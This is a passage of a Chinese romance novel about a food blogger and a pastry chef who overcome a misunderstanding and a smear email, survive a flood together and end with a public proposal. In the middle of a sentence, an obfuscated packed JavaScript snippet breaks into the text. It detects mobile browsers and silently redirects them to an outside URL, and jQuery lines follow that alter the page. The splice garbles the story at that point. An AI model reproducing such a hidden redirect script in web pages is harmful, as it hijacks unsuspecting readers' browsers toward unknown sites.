温晚停在厨房门口,透过半开的门缝看到周予白背对着门站着,一个穿着干练的短发女性站在他旁边,手里拿着平板电脑。两人挨得很近,女性甚至时不时碰触周予白的手臂,而他并没有躲开。 "那就按你说的办吧。"周予白叹了口气,声音里带着温晚从未听过的疲惫。 "别这么沮丧,"女性笑着说,手指轻轻拂过他的肩膀,"巴黎的机会以后还有。说起来,你那位美食博主朋友知道你这么在意她吗?" 温晚的呼吸一滞,手指不自觉地抓紧了门框。 周予白没有立即回答。他转过身,正好面对门口的方向。温晚下意识地往旁边躲了躲,心跳如擂鼓。 "她不需要知道。"周予白最终说道,声音很轻,却像一把小刀扎进温晚的胸口。 温晚后退几步,不小心碰倒了门边的一个小凳子。响声惊动了厨房里的人。 "谁在那里?"周予白快步走来推开门,然后僵在了原地,"温...温晚?" 雨水从温晚的发梢滴落,在地板上形成小小的水洼。她强迫自己露出一个微笑:"嗨,我...提前回来了。" 周予白的眼睛睁大,里面闪过惊喜、困惑和某种温晚读不懂的情绪:"你...怎么不告诉我?" "想给你个惊喜。"温晚干巴巴地说,目光越过他的肩膀看向那位女性。对方正用评估的眼光打量着她。 "这是林经理,我们的食材供应商。"周予白侧身介绍道,"林经理,这是温晚,美食博主。" "久仰大名。"林经理走过来伸出手,"周师傅经常提起你。" 温晚机械地握了握手。周予白经常提起她?那为什么刚才说"她不需要知道"? "我...只是路过看看。"温晚后退一步,"你们忙吧,我先走了。" "等等。"周予白抓住她的手腕,又迅速松开,像是怕被烫伤,"外面在下雨,至少等雨小一点..." "没关系,我叫车。"温晚已经掏出手机,"我就是来告诉你我回来了。后天...后天我会按计划来尝新品的。" 她转身快步走向门口,生怕多停留一秒就会泄露自己的情绪。周予白追了出来,但被林经理叫住讨论订单细节。 推开门,雨依然下个不停。温晚站在屋檐下,看着雨水在路面形成细小的溪流。她突然不明白自己为什么要提前回来。三个月的思念,换来的是一句"她不需要知道"和那个陌生女性亲密的触碰。 手机再次震动,这次是林妙:「提前回来怎么不告诉我?!对了,你看到''味觉前沿''那篇阴阳怪气的文章了吗?」 温晚点开林妙发来的链接。标题刺眼:《论某些美食博主的"情感营销"策略》。文章暗示她与"Lumière"的主厨刻意营造暧昧关系以提升双方知名度,甚至列出了时间线,称她每次给"Lumière"好评后粉丝量都有明显增长。 温晚的手指颤抖起来。这太荒谬了。她对周予白的评价完全客观...不是吗?那款"解构花园"她就给了中评。但如果真的完全客观,为什么此刻胸口会这么闷痛? 一辆出租车缓缓驶来,温晚招手拦下。上车前,她最后回头看了一眼"Lumière"的橱窗。周予白站在那里,隔着雨幕望着她,表情模糊不清。 接下来的两天,温晚把自己埋在工作里,剪辑海外拍摄的素材,回复积压的邮件,甚至主动提出帮林妙整理样品间。任何能让她不去想周予白的事情,她都做。 周三下午,她本该去"Lumière"的日子。温晚坐在工作室里,盯着电脑屏幕,手指悬在键盘上却一个字也打不出来。 "你不去啦?"林妙靠在门框上,手里晃着一盒马卡龙,"这可是三个月来第一次周三没去''Lumière''。" 温晚揉了揉太阳穴:"工作没做完。" "少来。"林妙走进来,放下马卡龙,"是因为那篇文章?还是...你看到什么了?" 温晚叹了口气,把提前回国看到的事情告诉了林妙,包括那句"她不需要知道"。 "就这?"林妙翻了个白眼,"你就不能直接问他那个女的是谁吗?" "不是这个问题..."温晚打开邮箱,想转移话题,却看到一封陌生邮件。标题是《关于周予白的真相》。 她点开邮件,里面没有任何正文,只有几个附件——截图显示周予白在一个甜点师论坛的发言,讨论如何利用媒体曝光提升店铺知名度;另一张是"Lumière"这三个月来的客流量统计,确实在她发布好评后有明显增长;最后一张是徐睿发给别人的信息,说"周予白和那个美食博主的互动对生意很有帮助"。 温晚的胃部一阵绞痛。她想起周予白收集她所有食评的文件夹,想起他特意为她研发的无糖甜点,想起他们在雨中共享一把伞的时刻...难道这一切都只是精心设计的营销策略? "怎么了?脸色这么难看?"林妙凑过来看屏幕,然后倒吸一口冷气,"这...太刻意了吧?谁发的邮件?" "不知道。"温晚关掉邮件,"可能是''味觉前沿''的人。" "你不问问周予白?" 温晚摇摇头。如果周予白真的只是在利用她,那问出口只会让自己更难堪;如果不是...那封邮件又是谁发的?为什么这么巧在她回国后收到? 手机震动起来,是徐睿的名字。温晚犹豫了一下,还是接了。 "温晚?"徐睿的声音异常急促,"你在哪?周予白从早上就开始等你,现在像个僵尸一样在后厨来回走。" 温晚咬了咬嘴唇:"我今天不去了。" "什么?为什么?"徐睿的声音突然压低,"是因为巴黎的事吗?那家伙就是死脑筋,非要等你回来,说什么都不能错过..." "巴黎?"温晚握紧手机,"他不是...因为供应商的事情才没去吗?" "供应商?"徐睿困惑地重复,"什么供应商?他拒绝的是巴黎国际甜点展!就因为你原定今天回来。我跟他说了多少次,改签机票提前去,他就是不听,说什么''答应过等她回来''..." 温晚的心脏猛地一跳。所以那天在厨房,他们讨论的不是供应商的事情,而是巴黎参展的事?那句"她不需要知道",是指他为了等她而放弃参展? "徐睿,"温晚的声音有些发抖,"那天...我提前回来时,看到周予白和一个女性在厨房,很亲密的样子..." "林经理?"徐睿恍然大悟,"她是我们的新供应商,那天来谈一笔紧急订单。她老公是我们大学同学,两口子恩爱得很。"他顿了顿,"等等,你该不会是因为这个..." "不是!"温晚立刻否认,但脸颊已经发烫,"我只是...收到一封奇怪的邮件。" 她把邮件内容告诉了徐睿,电话那头沉默了几秒。 "那些截图都是断章取义。"徐睿最终说道,"周予白确实在论坛讨论过媒体曝光,但那是在开店初期;客流量增长是事实,但他从没把这当成和你互动的目的;至于我发的信息..."他尴尬地咳嗽两声,"那是我在吹嘘自己的商业头脑,被他骂了一顿。" 温晚闭上眼睛,胸口涌起一阵愧疚。她怎么能因为一封匿名邮件就怀疑周予白? "他现在还在店里吗?"她问,已经站起身拿包。 "在,不过..."徐睿的声音突然变得犹豫,"他这两天状态很差,自从你提前回来那天起,就一直心不在焉。今早还烧焦了一炉马卡龙,我从没见他这样过。" 挂断电话,温晚匆忙收拾东西准备出门。林妙拦住她:"等等,先冷静一下。那封邮件太蹊跷了,谁会专门搜集这些信息来离间你们?" 温晚停下动作。确实,邮件来得太及时,内容也太针对。她翻出之前"味觉前沿"攻击她的文章对比,文风并不相似。 "不管是谁,"温晚坚定地说,"我现在得去见周予白。" 出门前,她突然想起什么,翻出旧电脑查找三年前的文件。当时她刚起步,曾匿名在一个甜点比赛论坛鼓励过一位失利的选手。那位选手的ID是"白舟",给她留下深刻印象,因为他分享的甜点理念与她惊人地一致。 找到那个旧论坛,登录,搜索历史消息...温晚的手指突然僵住了。屏幕上显示着"白舟"的个人资料——真实姓名:周予白;参赛信息:三年前亚洲甜点大师赛亚军。 "天啊..."温晚倒吸一口冷气。原来他们的联系比她想象的更早。三年前,她就被这位陌生甜点师的理念所吸引,留下了鼓励的留言;而周予白,很可能后来认出了她的文风,开始关注她的专栏... "怎么了?"林妙凑过来看屏幕,然后惊呼,"不会吧!他就是那个你曾经迷恋过理念的甜点师?" 温晚点点头,心跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353455|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如鼓。她抓起伞冲出门,雨水打湿了她的裤脚也毫不在意。她必须见到周予白,必须亲口告诉他,他们的缘分远比想象中更深;必须道歉,因为她竟然怀疑他的真诚;必须... 转过街角,"Lumière"的招牌已经可见。温晚加快脚步,却在下一秒猛地停住—— 店门前,一个熟悉的身影正站在雨中,没有打伞,只是望着她来的方向。周予白的白衬衫已经被雨水浸透,贴在身上,黑发湿漉漉地垂在额前。他看到温晚,眼睛瞬间亮了起来,却又带着不确定的犹豫,像是害怕再次被拒绝。 温晚的心像被一只无形的手紧紧攥住。她跑过去,将伞举过两人头顶。 "你...怎么站在雨里?"她的声音因情绪激动而微微发颤。 周予白的睫毛上挂着雨珠,琥珀色的眼睛深深注视着她:"在等你。" 三个字,简单直接,却让温晚的眼眶瞬间湿润。她想起徐睿说的,他从早上就开始等;想起他为了等她回来而放弃巴黎参展;想起三年前她在那个论坛写下"你的理念很打动我"时,并不知道有一天会与他相遇。 "我收到了奇怪的邮件,"温晚直接说道,"说你接近我只是为了店铺曝光。" 周予白的表情从惊讶变为受伤,最后定格在坚定:"不是真的。" "我知道。"温晚向前一步,缩短两人之间的距离,"徐睿解释了。而且..."她深吸一口气,"我刚刚发现,你就是三年前那个''白舟''。" 周予白的眼睛微微睁大,雨水顺着他的脸颊滑落,像是无声的泪水:"你记得?" "我记得。"温晚微笑,"我当时说,你的理念很打动我。" 周予白也笑了,那是一个温晚从未见过的、完全放松的笑容:"那是...我开始关注你的原因。后来在杂志上看到你的文章,认出了你的文风。" 雨依然下着,但温晚已经感觉不到冷了。周予白的目光如此温暖,让她想起他特制的那款"青峦",想起他们在厨房里默契的配合,想起雨中那把让他们不得不靠近的伞。 "那封邮件,"周予白突然皱眉,"我也收到过类似的。" "什么?" "有人发邮件说,你只是为了专栏内容才接近我。"他的声音低沉,"我不相信,但...那天你突然出现又匆匆离开,我以为..." 温晚这才明白,原来他们同时被挑拨,同时产生了误会。是谁会这么做?为什么? 就在这时,徐睿从店里冲出来,手里挥舞着手机:"我查到了!那封邮件的IP地址属于——" 一声惊雷掩盖了他的后半句话,雨势骤然加大。温晚和周予白不约而同地看向对方,在彼此眼中看到了同样的决心。无论背后是谁在操纵,他们都不会再让误会分开彼此。 周予白轻轻握住温晚的手腕,指尖冰凉却让她浑身发热:"进去说?" 温晚点点头,与他一起奔向那扇挂着风铃的店门。这一次,她不会再匆匆离开。 雨水拍打窗户的声音将温晚从睡梦中惊醒。她摸索着拿起手机,凌晨四点二十七分。屏幕上堆满了气象预警通知——"红色暴雨警报"、"城市部分区域积水严重"、"建议市民非必要不外出"。 温晚拉开窗帘,外面漆黑一片,只有路灯在雨幕中形成模糊的光晕。雨势比她见过的任何一次都要猛烈,像是天空被撕开了一道口子。街道已经变成了小河,水面上漂浮着垃圾和树枝。 手机突然震动起来,是周予白的消息:「看到新闻了吗?今天别出门了。」 简短的文字却让温晚胸口泛起一阵暖意。她回复:「你也是。周三的约定可能要延期了。」 发完消息,她蜷缩回被窝,却怎么也睡不着。脑海中回放着昨天在雨中与周予白相见的场景——他浑身湿透站在雨里等她,眼中那种混合着期待与不安的神情。还有他们发现的那些匿名邮件,到底是谁发的?徐睿说查到了IP地址,但被雷声掩盖了关键信息... 早上七点,雨势丝毫没有减弱的迹象。温晚打开电视,新闻画面显示城市多处严重积水,地铁部分线路停运。她煮了杯咖啡,开始处理工作邮件。 九点十五分,林妙打来电话:"出大事了!合作方临时要求今天下午必须拿到样片,否则就取消合约!" "今天?"温晚差点打翻咖啡杯,"这种天气?" "他们说有竞争对手愿意冒雨送片..."林妙的声音充满焦虑,"我试过了,远程传输文件太大,根本传不过去。" 温晚咬了咬嘴唇。这个合作方是她进军国际市场的关键,如果失去这个机会... "把样片硬盘送到我这儿来,"她最终决定,"我亲自送去。" "你疯了?外面淹水那么严重!" "叫辆底盘高的车,应该没问题。"温晚已经起身准备换衣服,"大不了多绕点路。" 一小时后,温晚艰难地钻进一辆SUV。车外,雨水像瀑布一样倾泻而下,能见度不足十米。司机老张是个经验丰富的老北京,一边咒骂着天气一边自信地保证能把她安全送达。 车子缓慢地在积水的街道上行驶,像一艘小船。温晚的手机震动起来,是周予白:「你在家吗?」 她犹豫了一下,回复:「有点工作上的急事,出门一趟。」 周予白的回复立刻跳出来:「去哪?现在外面很危险。」 温晚告诉了他合作公司的地址,又补充道:「别担心,我很安全。」 车子驶入一条下穿隧道,水位突然升高,几乎淹没了半个轮胎。老张紧张地握紧方向盘:"要不咱们掉头吧?" "再坚持一下,"温晚看着导航,"过了这个隧道就到了。" 就在这时,前方一辆公交车突然熄火,横在了隧道中央。老张猛踩刹车,SUV在积水中打滑,险些撞上护栏。 "不行了,过不去了。"老张擦了擦额头的汗,"咱们得绕道。" 温晚查看地图,最近的绕行路线需要经过地铁站:"那把我放在朝阳门地铁站吧,我坐地铁过去。" "地铁?好几条线都停了!" "总得试试。"温晚坚持道。合作方约定的时间是下午两点,现在已经十一点四十了。 老张无奈,只能缓慢驶向地铁站。站口人山人海,都是因地面交通瘫痪而改乘地铁的市民。温晚道谢后下车,瞬间被雨水淋得半湿。她护着装有硬盘的防水包,挤进地铁站。 站内广播反复播放:"因暴雨影响,1号线、2号线列车运行间隔延长,请乘客耐心等候..." 温晚查看线路图,她需要乘坐的6号线已经停运,只能转乘2号线再步行一段。站台上挤满了焦急的乘客,空气中弥漫着潮湿和汗水的味道。 手机又响了,周予白:「你上地铁了吗?哪条线?」 温晚回复了详细信息,又补充:「别担心,我到了给你消息。」 列车迟迟不来,站台上的人越来越多。温晚被挤到角落,后背紧贴着冰冷的墙壁。突然,灯光闪烁了几下,随后是广播刺耳的警报声:"因积水严重,本站即将关闭,请所有乘客立即撤离..." 人群瞬间骚动起来,人们争先恐后地向出口涌去。温晚被推搡着向前,突然脚下一滑,差点摔倒。等她站稳时,发现自己被挤到了一个侧面的通道,而主出口已经被工作人员封锁。 "请往这边走!紧急出口!"一个工作人员指着与主流相反的方向。 温晚跟着一小群人走向所谓的紧急出口,却发现那是一条狭窄的维修通道,尽头是一段向上的楼梯。楼梯顶端有一扇门,但被锁住了。 "怎么回事?"一个中年男子用力拍打门板,"开门啊!" 下面传来工作人员的叫喊:"上面的人别动!我们正在联系开锁!水位上涨太快,主出口已经被淹了!" 温晚的心跳加速,她环顾四周——狭窄的空间,越来越多人挤上来,空气变得稀薄。她从小就害怕这种密闭拥挤的环境,这是她很少乘坐地铁的原因。 手机信号时有时无,她勉强给林妙发了条信息:「被困在地铁站了,出不去。硬盘在我这里。」 林妙立刻回复:「天啊!哪个站?我找人帮你!」 温晚刚想回复,手机突然黑屏——没电了。她绝望地闭上眼睛,深呼吸试图平复越来越快的心跳。周围的人声、雨声、警报声混合在一起,形成一种令人窒息的嗡鸣。 "大家保持冷静!"工作人员的声音从下方传来,"救援已经在路上,但水位太高,可能需要一些时间!" 时间一分一秒过去,通道里的空气越来越闷热。温晚的额头渗出冷汗,手指无意识地抓紧背包带。她的呼吸变得急促,眼前开始出现黑点——恐惧症要发作了。 就在这时,通道上方传来一阵响动,然后是门锁被打开的声音。一道手电筒的光照进来。 "有没有一个叫温晚的?"一个熟悉的声音喊道。 温晚猛地抬头,不敢相信自己的耳朵。那是...周予白? "这里!"她用尽全力喊道,声音在嘈杂中几乎听不见。 但周予白似乎感应到了。手电筒的光扫过来,停在她脸上。 "温晚!" 下一秒,周予白挤过人群来到她面前。他的头发和衣服都在滴水,脸色苍白得可怕,但眼睛亮得惊人。 "你怎么...在这里?"温晚的声音因惊讶而颤抖。 周予白没有回答,只是迅速脱下自己的外套裹住她:"能走吗?" 温晚点点头,但刚站起来就双腿发软。周予白二话不说,一手接过她的包,另一只手环住她的腰,半扶半抱地带她向出口移动。 外面的雨依然倾盆而下,但至少有了新鲜空气。周予白带着温晚穿过几条小巷,最后停在一栋老旧办公楼前。 "我的工作室在这,"他掏出钥匙,"先避一避,等雨小点再想办法回去。" 工作室不大,约三十平米,摆放着一张大型工作台、几个冰箱和一些厨具。周予白让温晚坐在唯一的一张椅子上,自己则迅速找来干毛巾和一件干净T恤。 "先擦干,"他背过身,"换这件吧。" 温晚这才意识到自己的衣服已经湿透了,紧贴在身上。她快速擦干身体,换上那件过大的T恤。衣服上有淡淡的香草和肉桂气息,是周予白的味道。 "你怎么找到我的?"她问道,声音因刚才的惊吓而有些嘶哑。 周予白转过身,目光在她身上停留了一秒,又迅速移开:"你最后的消息说在朝阳门站...我刚好在附近。" "附近?"温晚皱眉,"你家和店都在西城,怎么会..." "我..."周予白的耳尖红了,"我本来想...去你公司附近等你。怕你需要帮忙送硬盘。" 温晚的心跳漏了一拍。他一直在关注她的行程,甚至打算冒雨去接她? "那你怎么知道我被困在侧通道?地铁站那么大..." 周予白从口袋里掏出她的充电宝:"上次你落在我店里的。我想着...可能用得上。"他顿了顿,"到了站口听说有人被困在维修通道,就...猜可能是你。" 温晚接过充电宝,手指不小心碰到他的。周予白的手冰冷而颤抖,显然在雨里走了很久。她突然意识到,找到她绝非他说的那么轻松。 "谢谢。"她轻声说,眼眶发热。 周予白只是点点头,转身去小冰箱里翻找什么:"饿了吗?我这里有..." 他的话戛然而止。温晚看过去,发现他盯着冰箱内部,表情凝固。 "怎么了?" "停电了。"周予白苦笑,"冰箱里的东西都化了。" 温晚这才注意到工作室内确实没有灯光,只有窗外透进来的昏暗天光。周予白拿出两盒看起来曾经是甜点的东西,现在只是一团糊状物。 "抱歉,"他尴尬地说,"本来想给你..." 一阵剧烈的雷声突然炸响,温晚不自觉地瑟缩了一下。紧接着,整个房间陷入完全的黑暗——断电了。 "别动,"周予白的声音在黑暗中靠近,"我记得有蜡烛..." 窸窸窣窣的翻找声后,一点火光跳动起来,然后是第二点、第三点。几支蜡烛被点燃,在工作台上投下摇曳的光影。 烛光中,周予白的轮廓显得格外分明——高挺的鼻梁,线条清晰的下颌,还有那双永远带着一丝不安的琥珀色眼睛。温晚发现自己无法移开视线。 "你的手..."她突然注意到周予白右手上的伤口,"怎么弄的?" 周予白下意识地藏起手:"没什么,找路的时候摔了一跤。" 温晚不由分说地拉过他的手查看。伤口不深但很长,从虎口一直延伸到手腕,边缘已经泛白,是被雨水浸泡的痕迹。 "需要消毒。"她翻找自己的包,拿出随身携带的小药盒,"幸好是防水的。" 周予白安静地看着她为自己清理伤口,烛光在她睫毛上投下细小的阴影。当温晚的指尖轻轻拂过他的皮肤时,他的呼吸明显加快了。 "好了。"温晚最后贴上一块创可贴,却没有立即松开他的手,"周予白...你真的只是猜到我被困在那里吗?" 周予白的喉结滚动了一下:"我...听到广播说站内积水,就想到你..." "想到我什么?" "你在一篇博文里提过,"周予白的声音几乎低不可闻,"说你害怕密闭拥挤的空间...小时候曾被关在电梯里。我怕你...恐慌发作。" 温晚的手僵住了。那篇博文是她两年前写的,阅读量少得可怜,内容与美食毫无关系,只是个人随笔。他竟然连这个都记得? "你怎么..."她的声音颤抖,"你看了我多少东西?" 周予白低下头,烛光在他脸上投下深深的阴影:"全部。" "全部?" "从你第一篇博文开始,"他的声音轻得像羽毛,"每一篇。" 温晚的心脏在胸腔里疯狂跳动。这意味着周予白关注她至少三年,远早于他们在"Lumière"相遇。难怪他总能在她开口前就知道她想说什么,难怪他做的甜点总是恰好符合她的口味... "为什么?"她轻声问。 周予白抬起头,烛光映在他的眼睛里,像是两团小小的火焰:"因为...是你。" 简单的三个字,却让温晚的眼眶瞬间湿润。她想说些什么,但突然一阵眩晕袭来,不得不扶住工作台。 "怎么了?"周予白立刻紧张起来。 "没事,只是..."温晚的呼吸变得急促,"有点...闷。" 周予白的表情变了。他迅速拉过椅子让她坐下,然后跪在她面前,双手轻轻握住她的手腕。 "看着我,"他的声音异常镇定,"跟着我的节奏呼吸...吸气...呼气..." 他的拇指轻轻按压她手腕内侧的某个点,节奏规律而舒缓。温晚下意识地跟随他的指引,慢慢找回了正常的呼吸频率。 "这..."当她平静下来后,惊讶地问,"这也是从我哪篇博文里学的?" 周予白点点头,嘴角微微上扬:"《当恐慌来袭》,2019年11月8日。你说按压内关穴和规律呼吸最有效。" 温晚眨了眨眼。那篇文章她甚至不记得具体内容了,而他却能准确复述发布日期和方法。 "周予白,"她突然问,"你第一次见到我时...是假装不认识我吗?" 周予白的手指无意识地摩挲着工作台边缘:"不是假装...只是不确定你是否记得论坛上的事。" "所以你一直知道我就是那个留言鼓励你的人?" "你的文风很特别,"周予白轻声说,"我读了第一篇就认出来了。" 窗外的雨声似乎变小了些,但两人都没有注意到。在这个被烛光照亮的小小空间里,时间仿佛静止了。 温晚突然伸手,轻轻触碰周予白的脸颊。他的皮肤冰凉而潮湿,但在她指尖下迅速变得温热。 "谢谢你,"她轻声说,"不只是今天...还有那些甜点,那些你记得的细节,那些..." 周予白屏住呼吸,像是害怕惊扰这一刻。当温晚的手指滑到他嘴角时,他不自觉地微微偏头,嘴唇轻轻擦过她的指尖。 两人同时僵住了。烛光摇曳,在墙上投下交错的影子。 "雨..."周予白声音沙哑,"好像小了..." 温晚没有回答。她向前倾身,在烛光的掩护下,轻轻吻上了他嘴角的那个小疤痕。 周予白的呼吸停滞了一秒,随后是更加急促的喘息。他的手悬在半空,似乎不确定该放在哪里,最终轻轻落在温晚的腰间。 "温晚..."他低声唤她的名字,像是祈祷,又像是确认这不是梦境。 窗外,雨依然下着,但已经不再狂暴。远处隐约传来救援车辆的警笛声,但在这个被烛光照亮的空间里,时间仿佛为他们暂停。 烛光在周予白的工作室里摇曳,将两人的影子投在墙上,交织在一起。温晚的唇还停留在周予白嘴角的那个小疤痕上,能感受到他急促的呼吸拂过她的脸颊。 当她稍稍后退时,周予白的眼睛在烛光下呈现出一种深邃的琥珀色,瞳孔因惊讶而微微扩大。他的手指仍轻轻搭在她的腰间,像是害怕她会突然消失,又像是担心自己会失控。 "我..."周予白的声音低哑得几乎听不见,"我是不是在做梦?" 温晚摇摇头,指尖轻触他发烫的耳廓:"如果是梦,我们做的是同一个。" 窗外,雨声渐小,但偶尔仍有雷声滚过。周予白的手从她腰间移到她的手上,小心翼翼地握住,仿佛她是什么易碎品。 "你的手好冷。"温晚将他的双手拢在自己掌心,轻轻呵气温暖它们。 周予白低头看着他们的手,嘴角微微上扬:"我记得你在博客里写过...讨厌冬天,因为总是手脚冰凉。" "你又记得。"温晚轻笑,"我开始怀疑你是不是背下了我所有的文章。" 周予白没有否认,只是耳尖更红了。烛光在他睫毛上投下细小的阴影,随着他眨眼的动作轻轻颤动。 咕噜—— 一阵不合时宜的声音打破了静谧。温晚捂住肚子,尴尬地笑了:"抱歉,我好像...饿了。" 周予白立刻站起身:"我看看有什么能吃的。"他走向小冰箱,又突然停住,"啊,停电了..." "没关系,"温晚环顾四周,"你平时在这里研发新品?" 周予白点点头,指向工作台下的柜子:"有些不需要冷藏的原料..."他蹲下身翻找,拿出面粉、糖和一小瓶香草精,"可以做最简单的饼干,如果有电的话..." "蜡烛不行吗?"温晚拿起一支粗壮的蜡烛,"小时候我妈妈停电时就用蜡烛烤过面包。" 周予白的眼睛亮了起来:"可以试试。"他迅速清理出一块工作台,铺上烘焙纸,"你...想帮忙吗?" 温晚卷起过大的T恤袖子,站到他身边:"主厨先生,请指示。" 接下来的半小时里,工作室变成了一个临时厨房。周予白用矿泉水瓶当擀面杖,温晚用信用卡边缘切割面团,他们将蜡烛固定在托盘下,制作了一个简易烤箱。 "这样真的能熟吗?"温晚怀疑地看着歪歪扭扭的面团形状。 周予白调整着蜡烛的位置:"理论上,只要温度够均匀..."他的声音因专注而低沉,额前的碎发垂下来,遮住了部分视线。 温晚不自觉地伸手将那缕头发拨开。周予白僵住了,抬眼看向她,烛光映在他的瞳孔里,像是两团小小的火焰。 "你...脸上有面粉。"他轻声说,拇指轻轻擦过她的鼻尖。 温晚的心跳加速。这个场景如此熟悉——几个月前在"Lumière"的后厨,他也曾这样为她擦去鼻尖上的糖霜。那时他们还是客气的工作关系,而现在... "你的也是。"她指了指他的脸颊,故意没有告诉他其实根本没有面粉。 周予白信以为真,用手背去擦,却只是将更多面粉抹开了。温晚忍不住笑出声,拿起一块干净的毛巾。 "别动。"她踮起脚尖,仔细为他擦拭。周予白配合地低下头,呼吸轻轻拂过她的颈侧。 面粉、糖霜和融化的蜡烛混合在一起,工作室里弥漫着一种温暖甜腻的气息。温晚能闻到周予白身上特有的香草和肉桂味,混合着雨后的清新,让她不自觉地想要靠近。 "好了。"她最后轻拍了一下他的脸颊,却没有立即退开。 他们的距离如此之近,温晚能数清周予白睫毛的数量,能看清他琥珀色眼睛中的每一丝纹路。他的目光从她的眼睛慢慢移到她的嘴唇,又迅速移开,喉结不自觉地滚动。 "饼干..."他的声音沙哑,"应该快好了。" 温晚点点头,却没有动。她的手指仍停留在他的脸侧,拇指轻轻摩挲着他刚刮过胡子的光滑皮肤。 "周予白,"她轻声问,"你知道我为什么给专栏取名''味觉漫步''吗?" 周予白摇摇头,目光重新回到她脸上。 "因为我觉得,品尝美食就像散步,"温晚的声音很轻,"有时候你会迷路,但那些意外的发现往往是最美好的。" 周予白的呼吸变得急促。温晚能感觉到他的手指轻轻握住了她的手腕,温度透过皮肤传来。 "我迷路了吗?"他低声问。 温晚微笑:"我也是。" 她向前倾身,这一次,他们的唇在烛光中真正相遇。周予白的唇比她想象的更柔软,带着一点糖霜的甜味。他起初有些僵硬,但很快回应,手指穿过她的发丝,轻柔得像是在对待一件珍贵的艺术品。 当他们分开时,一阵焦香突然闯入鼻腔。 "饼干!"两人同时惊呼。 周予白迅速转身抢救他们的简易烘焙。饼干边缘有些焦黑,但大部分看起来还不错。他小心地拿起一块,吹了吹,递给温晚。 "尝尝?我们的...合作作品。" 温晚咬了一口。饼干外脆内软,甜度刚好,香草的味道在舌尖绽放。虽然形状不规则,边缘有些焦,但这是她吃过的最好吃的饼干。 "完美。"她笑着说,然后踮起脚尖,再次吻去周予白嘴角的饼干碎屑。 窗外,雨声已经完全停了,一缕阳光透过云层,照进工作室。温晚的手机突然震动起来——来电显示是林妙。 "天啊!你终于开机了!"林妙的声音充满担忧,"整个公司都在找你!硬盘送过去了吗?" 温晚这才想起被遗忘的工作任务:"我...被困在地铁站了,现在在..."她看了周予白一眼,"在一个安全的地方。硬盘还在我这里。" "合作方已经延期到明天早上了,"林妙说,"现在全城交通瘫痪,他们也能理解。你在哪?需要救援吗?" 温晚告诉林妙自己的位置,答应等路况好转就回去。挂断电话后,她发现周予白正在收拾工作室。 "我得回去了,"她有些不舍地说,"等水退了..." 周予白点点头,从工作台抽屉里拿出一个精致的小盒子:"给你的。本来想周三给你的..." 温晚打开盒子,里面是一枚造型独特的胸针——一个小小的白巧克力球,用蓝宝石和银丝制成,正是她第一次在"Lumière"尝到的"雪夜星辰"的迷你版。 "这..."她小心地拿起胸针,"太美了。" "我设计的,"周予白轻声说,"徐睿找珠宝商制作的。"他顿了顿,"背面...有刻字。" 温晚翻转胸针,背面刻着一行小字:「给最懂得甜的人」。 "你..."她的声音哽咽,"什么时候准备的?" "两个月前,"周予白的耳尖又红了,"本来想在你出国前送的..." 温晚将胸针紧紧握在手心,突然下定决心:"周予白,我有个想法。" 三天后,温晚坐在工作室的镜头前,调整着麦克风的位置。这是她回国后的首次直播,预告已经在社交媒体上引发了热烈讨论——"温晚将公布重大消息"。 "准备好了吗?"林妙在一旁检查设备,"在线人数已经破十万了。" 温晚深吸一口气,点点头。镜头亮起红灯,直播开始。 "大家好,欢迎回到''味觉漫步''。"她对着镜头微笑,"今天不测评餐厅,也不介绍食谱,而是想和大家分享一个...私人故事。" 她讲述了自己与一位神秘甜点师的相遇,从最初的探店到后来的误会,再到雨中的重逢。她没有提周予白的名字,但评论区已经开始疯狂猜测。 "所以今天,"温晚直视镜头,声音坚定,"我想公开对他说几句话。" 她停顿了一下,仿佛能听到自己心跳的声音:"我知道你可能在看。我想告诉你,我不再害怕迷路了,因为有些意外值得珍惜。就像那款忘放糖的甜点,就像雨中共撑的一把伞,就像...停电时用蜡烛烤的饼干。" 评论区瞬间爆炸,各种猜测和祝福刷屏。温晚继续道:"如果你愿意,下周三下午三点,我会在老地方等你。带上你的新甜点,我带上我的答案。" 直播结束后,温晚瘫坐在椅子上,手心全是汗。 "哇哦,"林妙吹了声口哨,"这可真是...公开表白啊。你确定那个社交恐惧的甜点师会接招?" 温晚摩挲着胸前的"雪夜星辰"胸针:"我不知道。但我想给他一个选择的机会。" 等待的七天像七年一样漫长。周三那天,温晚比约定时间早到了半小时。"Lumière"已经恢复了正常营业,展示柜里摆满了精致的甜点。她选了靠窗的老位置坐下,手指不安地敲击着桌面。 两点五十五分,店里突然播放起轻柔的音乐——是温晚在一次采访中提过喜欢的钢琴曲。她惊讶地抬头,发现所有服务员都站成了一排,脸上带着神秘的微笑。 三点整,周予白从后厨走出来,没有穿厨师服,而是一套简洁的黑色西装。他手里捧着一个精致的玻璃罩,里面是一款从未见过的甜点——外形像是一本打开的书,书页上点缀着可食用的小珍珠和糖霜花朵。 店里瞬间安静下来。周予白走到温晚桌前,轻轻放下甜点。他的手指微微颤抖,但眼神坚定。 "这款甜点叫''糖霜吻'',"他的声音不大,但足够清晰,"灵感来自...一个特别的人。" 温晚的眼眶瞬间湿润。周予白小心地打开玻璃罩,甜点的香气弥漫开来——香草、蜂蜜和一丝淡淡的柠檬。 "书页部分是用白巧克力做的,"他继续解释,"珍珠是荔枝味的,花朵...是玫瑰糖霜。" 温晚注意到"书"的中央有一个小小的凹槽,形状像是...她低头看了看自己的胸针。 周予白似乎察觉到她的想法,轻轻点头:"可以...试试吗?" 在所有人的注视下,温晚取下胸针,小心地放入凹槽中。完美契合。围观的人群发出惊叹声。 "温晚,"周予白深吸一口气,声音不再颤抖,"这本书...还差一个结局。你愿意...和我一起写完它吗?" 温晚站起身,在众目睽睽之下,伸手拂去周予白领口并不存在的糖霜,然后轻轻吻上他的嘴唇。 "这就是我的答案。"她微笑着说。 店内爆发出掌声和欢呼。徐睿不知从哪里冒出来,举着相机疯狂拍照:"我就知道!我就知道!" 